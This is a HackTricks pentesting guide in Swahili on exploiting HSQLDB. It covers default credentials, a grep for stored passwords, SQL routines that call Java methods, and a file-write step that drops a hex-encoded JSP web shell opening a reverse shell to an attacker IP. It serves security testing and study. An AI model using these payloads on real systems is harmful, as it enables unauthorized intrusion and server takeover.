tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Taarifa za Msingi
HSQLDB (HyperSQL DataBase) ni mfumo mkuu wa hifadhidata ya SQL inayohusiana ulioandikwa kwa Java. Inatoa injini ndogo, ya haraka ya hifadhidata yenye nyuzi nyingi na ya muamala yenye meza za ndani na za diski na inasaidia hali za kuingizwa na seva.
Bandari ya kawaida: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Taarifa
Mipangilio ya Kawaida
Kumbuka kwamba kwa kawaida huduma hii inafanya kazi katika kumbukumbu au imefungwa kwa localhost. Ikiwa umeipata, huenda umefanya matumizi ya huduma nyingine na unatafuta kuongeza mamlaka.
Akawali, akidi za kawaida ni sa
zikiwa na nenosiri tupu.
Ikiwa umefanya matumizi ya huduma nyingine, tafuta akidi zinazowezekana kwa kutumia
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Kumbuka jina la database kwa makini - utahitaji hilo kuungana.
Info Gathering
Unganisha na DB instance kwa kupakua HSQLDB na kutoa hsqldb/lib/hsqldb.jar
. Endesha programu ya GUI (eww) kwa kutumia java -jar hsqldb.jar
na uungane na instance kwa kutumia akidi zilizogunduliwa/za udhaifu.
Kumbuka URL ya muunganisho itakuwa na muonekano kama huu kwa mfumo wa mbali: jdbc:hsqldb:hsql://ip/DBNAME
.
Tricks
Java Language Routines
Tunaweza kuita mbinu za statiki za darasa la Java kutoka HSQLDB kwa kutumia Java Language Routines. Kumbuka kwamba darasa linaloitwa linahitaji kuwa katika classpath ya programu.
JRTs zinaweza kuwa functions
au procedures
. Functions zinaweza kuitwa kupitia taarifa za SQL ikiwa mbinu ya Java inarudisha moja au zaidi ya mabadiliko ya msingi yanayofaa kwa SQL. Zinaitwa kwa kutumia taarifa ya VALUES
.
Ikiwa mbinu ya Java tunayotaka kuita inarudisha void, tunahitaji kutumia taratibu inayoitwa kwa taarifa ya CALL
.
Reading Java System Properties
Unda kazi:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Tekeleza kazi:
VALUES(getsystemproperty('user.name'))
Unaweza kupata orodha ya mali za mfumo hapa.
Andika Maudhui kwenye Faili
Unaweza kutumia com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
Java gadget iliyoko katika JDK (inayojiendesha kwenye njia ya darasa la programu) kuandika vitu vilivyoandikwa kwa hex kwenye diski kupitia utaratibu maalum. Kumbuka ukubwa wa juu wa 1024 bytes.
Unda utaratibu:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Tekeleza utaratibu:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.